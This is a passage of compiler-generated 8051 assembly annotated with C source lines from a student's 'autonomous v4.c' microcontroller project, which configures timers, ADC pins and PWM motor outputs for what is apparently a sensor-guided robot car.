; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:75: TH1 = 0x10000-((SYSCLK/BAUDRATE)/2L);
mov _TH1,#0x30
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:76: CKCON &= ~0x0B; // T1M = 1; SCA1:0 = xx
anl _CKCON,#0xF4
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:77: CKCON |= 0x08;
orl _CKCON,#0x08
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:90: TL1 = TH1; // Init Timer1
mov _TL1,_TH1
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:91: TMOD &= ~0xf0; // TMOD: timer 1 in 8-bit autoreload
anl _TMOD,#0x0F
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:92: TMOD |= 0x20;
orl _TMOD,#0x20
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:93: TR1 = 1; // START Timer1
setb _TR1
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:94: TI = 1; // Indicate TX0 ready
setb _TI
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:97: P0MDOUT |= 0x01; // set P0.0 and P0.4 as push-pull outputs
orl _P0MDOUT,#0x01
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:98: P2MDOUT |= 0b0000_0110; // Make the LED (P2.2) a push-pull output. P2.1 used for debuging.
orl _P2MDOUT,#0x06
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:99: XBR0 = 0b0000_0101; // Enable SMBus pins and UART pins P0.4(TX) and P0.5(RX)
mov _XBR0,#0x05
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:100: XBR1 = 0x40; // Enable crossbar and weak pull-ups
mov _XBR1,#0x40
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:101: XBR2 = 0x01;
mov _XBR2,#0x01
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:103: TMR2CN=0x00; // Stop Timer2; Clear TF2;
mov _TMR2CN,#0x00
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:104: CKCON|=0b_0001_0000;
orl _CKCON,#0x10
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:105: TMR2RL=(-(SYSCLK/(2*48))/(100L)); // Initialize reload value
mov _TMR2RL,#0x78
mov (_TMR2RL >> 8),#0xEC
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:106: TMR2=0xffff; // Set to reload immediately
mov _TMR2,#0xFF
mov (_TMR2 >> 8),#0xFF
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:107: ET2=1; // Enable Timer2 interrupts
setb _ET2
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:108: TR2=1; // Start Timer2
setb _TR2
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:110: EA=1; // Enable interrupts
setb _EA
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:112: return 0;
mov dpl,#0x00
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'Timer3us'
;------------------------------------------------------------
;us Allocated to registers r2
;i Allocated to registers r3
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:116: void Timer3us(unsigned char us)
; -----------------------------------------
; function Timer3us
; -----------------------------------------
_Timer3us:
mov r2,dpl
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:121: CKCON|=0b_0100_0000;
orl _CKCON,#0x40
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:123: TMR3RL = (-(SYSCLK)/1000000L); // Set Timer3 to overflow in 1us.
mov _TMR3RL,#0xD0
mov (_TMR3RL >> 8),#0xFF
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:124: TMR3 = TMR3RL; // Initialize Timer3 for first overflow
mov _TMR3,_TMR3RL
mov (_TMR3 >> 8),(_TMR3RL >> 8)
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:126: TMR3CN = 0x04; // Sart Timer3 and clear overflow flag
mov _TMR3CN,#0x04
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:127: for (i = 0; i < us; i++) // Count <us> overflows
mov r3,#0x00
L004004?:
clr c
mov a,r3
subb a,r2
jnc L004007?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:129: while (!(TMR3CN & 0x80)); // Wait for overflow
L004001?:
mov a,_TMR3CN
jnb acc.7,L004001?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:130: TMR3CN &= ~(0x80); // Clear overflow indicator
anl _TMR3CN,#0x7F
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:127: for (i = 0; i < us; i++) // Count <us> overflows
inc r3
sjmp L004004?
L004007?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:132: TMR3CN = 0 ; // Stop Timer3 and clear overflow flag
mov _TMR3CN,#0x00
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'waitms'
;------------------------------------------------------------
;ms Allocated to registers r2 r3
;j Allocated to registers r2 r3
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:135: void waitms (unsigned int ms)
; -----------------------------------------
; function waitms
; -----------------------------------------
_waitms:
mov r2,dpl
mov r3,dph
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:138: for(j=ms; j!=0; j--)
L005001?:
cjne r2,#0x00,L005010?
cjne r3,#0x00,L005010?
ret
L005010?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:140: Timer3us(249);
mov dpl,#0xF9
push ar2
push ar3
lcall _Timer3us
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:141: Timer3us(249);
mov dpl,#0xF9
lcall _Timer3us
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:142: Timer3us(249);
mov dpl,#0xF9
lcall _Timer3us
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:143: Timer3us(250);
mov dpl,#0xFA
lcall _Timer3us
pop ar3
pop ar2
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:138: for(j=ms; j!=0; j--)
dec r2
cjne r2,#0xff,L005011?
dec r3
L005011?:
sjmp L005001?
;------------------------------------------------------------
;Allocation info for local variables in function 'InitADC'
;------------------------------------------------------------
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:147: void InitADC (void)
; -----------------------------------------
; function InitADC
; -----------------------------------------
_InitADC:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:150: ADC0CF = 0xF8; // SAR clock = 31, Right-justified result
mov _ADC0CF,#0xF8
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:151: ADC0CN = 0b_1000_0000; // AD0EN=1, AD0TM=0
mov _ADC0CN,#0x80
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:152: REF0CN = 0b_0000_1000; //Select VDD as the voltage reference for the converter
mov _REF0CN,#0x08
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'InitPinADC'
;------------------------------------------------------------
;pinno Allocated with name '_InitPinADC_PARM_2'
;portno Allocated to registers r2
;mask Allocated to registers r3
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:155: void InitPinADC (unsigned char portno, unsigned char pinno)
; -----------------------------------------
; function InitPinADC
; -----------------------------------------
_InitPinADC:
mov r2,dpl
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:159: mask=1<<pinno;
mov b,_InitPinADC_PARM_2
inc b
mov a,#0x01
sjmp L007012?
L007010?:
add a,acc
L007012?:
djnz b,L007010?
mov r3,a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:161: switch (portno)
mov a,r2
add a,#0xff - 0x03
jc L007007?
mov a,r2
add a,r2
add a,r2
mov dptr,#L007014?
jmp @a+dptr
L007014?:
ljmp L007001?
ljmp L007002?
ljmp L007003?
ljmp L007004?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:163: case 0:
L007001?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:164: P0MDIN &= (~mask); // Set pin as analog input
mov a,r3
cpl a
anl _P0MDIN,a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:165: P0SKIP |= mask; // Skip Crossbar decoding for this pin
mov a,r3
orl _P0SKIP,a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:166: break;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:167: case 1:
ret
L007002?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:168: P1MDIN &= (~mask); // Set pin as analog input
mov a,r3
cpl a
anl _P1MDIN,a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:169: P1SKIP |= mask; // Skip Crossbar decoding for this pin
mov a,r3
orl _P1SKIP,a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:170: break;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:171: case 2:
ret
L007003?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:172: P2MDIN &= (~mask); // Set pin as analog input
mov a,r3
cpl a
anl _P2MDIN,a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:173: P2SKIP |= mask; // Skip Crossbar decoding for this pin
mov a,r3
orl _P2SKIP,a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:174: break;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:175: case 3:
ret
L007004?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:176: P3MDIN &= (~mask); // Set pin as analog input
mov a,r3
cpl a
mov r2,a
anl _P3MDIN,a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:177: P3SKIP |= mask; // Skip Crossbar decoding for this pin
mov a,r3
orl _P3SKIP,a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:181: }
L007007?:
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'ADC_at_Pin'
;------------------------------------------------------------
;pin Allocated to registers
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:184: unsigned int ADC_at_Pin(unsigned char pin)
; -----------------------------------------
; function ADC_at_Pin
; -----------------------------------------
_ADC_at_Pin:
mov _AMX0P,dpl
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:187: AMX0N = LQFP32_MUX_GND; // GND is negative input (Single-ended Mode)
mov _AMX0N,#0x1F
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:189: AD0BUSY=1;
setb _AD0BUSY
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:190: while (AD0BUSY); // Wait for dummy conversion to finish
L008001?:
jb _AD0BUSY,L008001?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:192: AD0BUSY = 1;
setb _AD0BUSY
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:193: while (AD0BUSY); // Wait for conversion to complete
L008004?:
jb _AD0BUSY,L008004?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:194: return (ADC0L+(ADC0H*0x100));
mov r2,_ADC0L
mov r3,#0x00
mov r5,_ADC0H
mov r4,#0x00
mov a,r4
add a,r2
mov dpl,a
mov a,r5
addc a,r3
mov dph,a
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'Volts_at_Pin'
;------------------------------------------------------------
;pin Allocated to registers r2
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:197: float Volts_at_Pin(unsigned char pin)
; -----------------------------------------
; function Volts_at_Pin
; -----------------------------------------
_Volts_at_Pin:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:199: return ((ADC_at_Pin(pin)*3.30)/1024.0);
lcall _ADC_at_Pin
lcall ___uint2fs
mov r2,dpl
mov r3,dph
mov r4,b
mov r5,a
push ar2
push ar3
push ar4
push ar5
mov dptr,#0x3333
mov b,#0x53
mov a,#0x40
lcall ___fsmul
mov r2,dpl
mov r3,dph
mov r4,b
mov r5,a
mov a,sp
add a,#0xfc
mov sp,a
clr a
push acc
push acc
mov a,#0x80
push acc
mov a,#0x44
push acc
mov dpl,r2
mov dph,r3
mov b,r4
mov a,r5
lcall ___fsdiv
mov r2,dpl
mov r3,dph
mov r4,b
mov r5,a
mov a,sp
add a,#0xfc
mov sp,a
mov dpl,r2
mov dph,r3
mov b,r4
mov a,r5
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'Timer2_ISR'
;------------------------------------------------------------
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:202: void Timer2_ISR (void) interrupt 5
; -----------------------------------------
; function Timer2_ISR
; -----------------------------------------
_Timer2_ISR:
push acc
push dpl
push dph
push ar2
push ar3
push psw
mov psw,#0x00
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:204: TF2H = 0; // Clear Timer2 interrupt flag
clr _TF2H
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:206: pwm_count++;
inc _pwm_count
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:207: if(pwm_count>100) pwm_count=0;
mov a,_pwm_count
add a,#0xff - 0x64
jnc L010002?
mov _pwm_count,#0x00
L010002?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:209: if (interrupt_switch==0)
mov a,_interrupt_switch
orl a,(_interrupt_switch + 1)
jz L010019?
ljmp L010012?
L010019?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:211: switch(switchs)
mov r2,_switchs
mov r3,(_switchs + 1)
clr c
mov a,#0x06
subb a,r2
clr a
subb a,r3
jnc L010020?
ljmp L010012?
L010020?:
mov a,r2
add a,r2
add a,r2
mov dptr,#L010021?
jmp @a+dptr
L010021?:
ljmp L010003?
ljmp L010004?
ljmp L010005?
ljmp L010006?
ljmp L010007?
ljmp L010008?
ljmp L010009?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:213: case 0:
L010003?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:214: PWM_1 = 0;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:215: PWM_2 = 0;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:216: PWM_3 = 0;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:217: PWM_4 = 0;
clr a
mov _PWM_1,a
mov (_PWM_1 + 1),a
mov _PWM_2,a
mov (_PWM_2 + 1),a
mov _PWM_3,a
mov (_PWM_3 + 1),a
mov _PWM_4,a
mov (_PWM_4 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:218: break;
ljmp L010012?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:219: case 1:
L010004?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:220: PWM_1 = 0;
clr a
mov _PWM_1,a
mov (_PWM_1 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:221: PWM_2 = 100;
mov _PWM_2,#0x64
clr a
mov (_PWM_2 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:222: PWM_3 = 0;
clr a
mov _PWM_3,a
mov (_PWM_3 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:223: PWM_4 = 100;
mov _PWM_4,#0x64
clr a
mov (_PWM_4 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:224: break;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:225: case 2:
sjmp L010012?
L010005?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:226: PWM_1 = 100;
mov _PWM_1,#0x64
clr a
mov (_PWM_1 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:227: PWM_2 = 0;
clr a
mov _PWM_2,a
mov (_PWM_2 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:228: PWM_3 = 100;
mov _PWM_3,#0x64
clr a
mov (_PWM_3 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:229: PWM_4 = 0;
clr a
mov _PWM_4,a
mov (_PWM_4 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:230: break;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:231: case 3:
sjmp L010012?
L010006?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:232: PWM_1 = 100;
mov _PWM_1,#0x64
clr a
mov (_PWM_1 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:233: PWM_2 = 0;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:234: PWM_3 = 0;
clr a
mov _PWM_2,a
mov (_PWM_2 + 1),a
mov _PWM_3,a
mov (_PWM_3 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:235: PWM_4 = 50;
mov _PWM_4,#0x32
clr a
mov (_PWM_4 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:236: break;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:237: case 4:
sjmp L010012?
L010007?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:238: PWM_1 = 0;
clr a
mov _PWM_1,a
mov (_PWM_1 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:239: PWM_2 = 50;
mov _PWM_2,#0x32
clr a
mov (_PWM_2 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:240: PWM_3 = 100;
mov _PWM_3,#0x64
clr a
mov (_PWM_3 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:241: PWM_4 = 0;
clr a
mov _PWM_4,a
mov (_PWM_4 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:242: break;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:243: case 5:
sjmp L010012?
L010008?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:244: PWM_1 = 0;
clr a
mov _PWM_1,a
mov (_PWM_1 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:245: PWM_2 = 100;
mov _PWM_2,#0x64
clr a
mov (_PWM_2 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:246: PWM_3 = 50;
mov _PWM_3,#0x32
clr a
mov (_PWM_3 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:247: PWM_4 = 0;
clr a
mov _PWM_4,a
mov (_PWM_4 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:248: break;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:249: case 6:
sjmp L010012?
L010009?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:250: PWM_1 = 50;
mov _PWM_1,#0x32
clr a
mov (_PWM_1 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:251: PWM_2 = 0;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:252: PWM_3 = 0;
clr a
mov _PWM_2,a
mov (_PWM_2 + 1),a
mov _PWM_3,a
mov (_PWM_3 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:253: PWM_4 = 100;
mov _PWM_4,#0x64
clr a
mov (_PWM_4 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:255: }
L010012?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:257: OUT0=pwm_count>PWM_1?0:1;
mov r2,_pwm_count
mov r3,#0x00
clr c
mov a,_PWM_1
subb a,r2
mov a,(_PWM_1 + 1)
subb a,r3
mov _Timer2_ISR_sloc0_1_0,c
cpl c
mov _P1_6,c
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:258: OUT1=pwm_count>PWM_2?0:1;
mov r2,_pwm_count
mov r3,#0x00
clr c
mov a,_PWM_2
subb a,r2
mov a,(_PWM_2 + 1)
subb a,r3
mov _Timer2_ISR_sloc0_1_0,c
cpl c
mov _P1_7,c
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:259: OUT2=pwm_count>PWM_3?0:1;
mov r2,_pwm_count
mov r3,#0x00
clr c
mov a,_PWM_3
subb a,r2
mov a,(_PWM_3 + 1)
subb a,r3
mov _Timer2_ISR_sloc0_1_0,c
cpl c
mov _P2_4,c
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:260: OUT3=pwm_count>PWM_4?0:1;
mov r2,_pwm_count
mov r3,#0x00
clr c
mov a,_PWM_4
subb a,r2
mov a,(_PWM_4 + 1)
subb a,r3
mov _Timer2_ISR_sloc0_1_0,c
cpl c
mov _P2_5,c
pop psw
pop ar3
pop ar2
pop dph
pop dpl
pop acc
reti
; eliminated unneeded push/pop b
;------------------------------------------------------------
;Allocation info for local variables in function 'getchar1'
;------------------------------------------------------------
;c Allocated to registers
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:263: char getchar1 (void)
; -----------------------------------------
; function getchar1
; -----------------------------------------
_getchar1:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:266: while (!(SCON1 & 0x01));
L011001?:
mov a,_SCON1
jnb acc.0,L011001?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:267: SCON1 &= ~0x01;
anl _SCON1,#0xFE
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:268: c = SBUF1;
mov dpl,_SBUF1
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:269: return (c);
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'main'
;------------------------------------------------------------
;V Allocated with name '_main_V_1_72'
;R Allocated with name '_main_R_1_72'
;L Allocated with name '_main_L_1_72'
;C Allocated to registers r2
;thresholdL Allocated to registers
;thresholdR Allocated to registers
;z Allocated to registers r2 r3
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:272: void main (void)
; -----------------------------------------
; function main
; -----------------------------------------
_main:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:275: volatile float V[3], R=0, L=0;
mov _main_R_1_72,#0x00
mov (_main_R_1_72 + 1),#0x00
mov (_main_R_1_72 + 2),#0x00
mov (_main_R_1_72 + 3),#0x00
mov _main_L_1_72,#0x00
mov (_main_L_1_72 + 1),#0x00
mov (_main_L_1_72 + 2),#0x00
mov (_main_L_1_72 + 3),#0x00
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:281: InitPinADC(2, 1); // Configure P2.1 as analog input
mov _InitPinADC_PARM_2,#0x01
mov dpl,#0x02
lcall _InitPinADC
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:282: InitPinADC(2, 2); // Configure P2.2 as analog input
mov _InitPinADC_PARM_2,#0x02
mov dpl,#0x02
lcall _InitPinADC
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:283: InitPinADC(2, 7);
mov _InitPinADC_PARM_2,#0x07
mov dpl,#0x02
lcall _InitPinADC
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:284: InitADC();
lcall _InitADC
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:285: if(Volts_at_Pin(LQFP32_MUX_P2_7)>2.5)
mov dpl,#0x0F
lcall _Volts_at_Pin
mov r2,dpl
mov r3,dph
mov r4,b
mov r5,a
clr a
push acc
push acc
mov a,#0x20
push acc
mov a,#0x40
push acc
mov dpl,r2
mov dph,r3
mov b,r4
mov a,r5
lcall ___fsgt
mov r2,dpl
mov a,sp
add a,#0xfc
mov sp,a
mov a,r2
jnz L012088?
ljmp L012049?
L012088?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:287: interrupt_switch=0;
clr a
mov _interrupt_switch,a
mov (_interrupt_switch + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:288: while(1)
L012031?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:290: PWM_1 = 0;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:291: PWM_2 = 0;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:292: PWM_3 = 0;
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:293: PWM_4 = 0;
clr a
mov _PWM_1,a
mov (_PWM_1 + 1),a
mov _PWM_2,a
mov (_PWM_2 + 1),a
mov _PWM_3,a
mov (_PWM_3 + 1),a
mov _PWM_4,a
mov (_PWM_4 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:294: L=0;
mov _main_L_1_72,#0x00
mov (_main_L_1_72 + 1),#0x00
mov (_main_L_1_72 + 2),#0x00
mov (_main_L_1_72 + 3),#0x00
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:295: R=0;
mov _main_R_1_72,#0x00
mov (_main_R_1_72 + 1),#0x00
mov (_main_R_1_72 + 2),#0x00
mov (_main_R_1_72 + 3),#0x00
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:296: for(z=0; z<30; z++)
mov r2,#0x00
mov r3,#0x00
L012051?:
clr c
mov a,r2
subb a,#0x1E
mov a,r3
xrl a,#0x80
subb a,#0x80
jnc L012054?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:298: V[0]=Volts_at_Pin(LQFP32_MUX_P2_3);
mov dpl,#0x0B
push ar2
push ar3
lcall _Volts_at_Pin
mov r4,dpl
mov r5,dph
mov r6,b
mov r7,a
mov _main_V_1_72,r4
mov (_main_V_1_72 + 1),r5
mov (_main_V_1_72 + 2),r6
mov (_main_V_1_72 + 3),r7
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:299: if(V[0]>L)
push _main_L_1_72
push (_main_L_1_72 + 1)
push (_main_L_1_72 + 2)
push (_main_L_1_72 + 3)
mov dpl,_main_V_1_72
mov dph,(_main_V_1_72 + 1)
mov b,(_main_V_1_72 + 2)
mov a,(_main_V_1_72 + 3)
lcall ___fsgt
mov r4,dpl
mov a,sp
add a,#0xfc
mov sp,a
pop ar3
pop ar2
mov a,r4
jz L012002?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:300: L=V[0];
mov _main_L_1_72,_main_V_1_72
mov (_main_L_1_72 + 1),(_main_V_1_72 + 1)
mov (_main_L_1_72 + 2),(_main_V_1_72 + 2)
mov (_main_L_1_72 + 3),(_main_V_1_72 + 3)
L012002?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:301: V[0]=L;
mov _main_V_1_72,_main_L_1_72
mov (_main_V_1_72 + 1),(_main_L_1_72 + 1)
mov (_main_V_1_72 + 2),(_main_L_1_72 + 2)
mov (_main_V_1_72 + 3),(_main_L_1_72 + 3)
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:296: for(z=0; z<30; z++)
inc r2
cjne r2,#0x00,L012051?
inc r3
sjmp L012051?
L012054?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:303: for(z=0; z<30; z++)
mov r2,#0x00
mov r3,#0x00
L012055?:
clr c
mov a,r2
subb a,#0x1E
mov a,r3
xrl a,#0x80
subb a,#0x80
jnc L012058?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:305: V[1]=Volts_at_Pin(LQFP32_MUX_P2_0);
mov dpl,#0x08
push ar2
push ar3
lcall _Volts_at_Pin
mov r4,dpl
mov r5,dph
mov r6,b
mov r7,a
mov (_main_V_1_72 + 0x0004),r4
mov ((_main_V_1_72 + 0x0004) + 1),r5
mov ((_main_V_1_72 + 0x0004) + 2),r6
mov ((_main_V_1_72 + 0x0004) + 3),r7
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:306: if(V[1]>R)
push _main_R_1_72
push (_main_R_1_72 + 1)
push (_main_R_1_72 + 2)
push (_main_R_1_72 + 3)
mov dpl,(_main_V_1_72 + 0x0004)
mov dph,((_main_V_1_72 + 0x0004) + 1)
mov b,((_main_V_1_72 + 0x0004) + 2)
mov a,((_main_V_1_72 + 0x0004) + 3)
lcall ___fsgt
mov r4,dpl
mov a,sp
add a,#0xfc
mov sp,a
pop ar3
pop ar2
mov a,r4
jz L012004?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:307: R=V[1];
mov _main_R_1_72,(_main_V_1_72 + 0x0004)
mov (_main_R_1_72 + 1),((_main_V_1_72 + 0x0004) + 1)
mov (_main_R_1_72 + 2),((_main_V_1_72 + 0x0004) + 2)
mov (_main_R_1_72 + 3),((_main_V_1_72 + 0x0004) + 3)
L012004?:
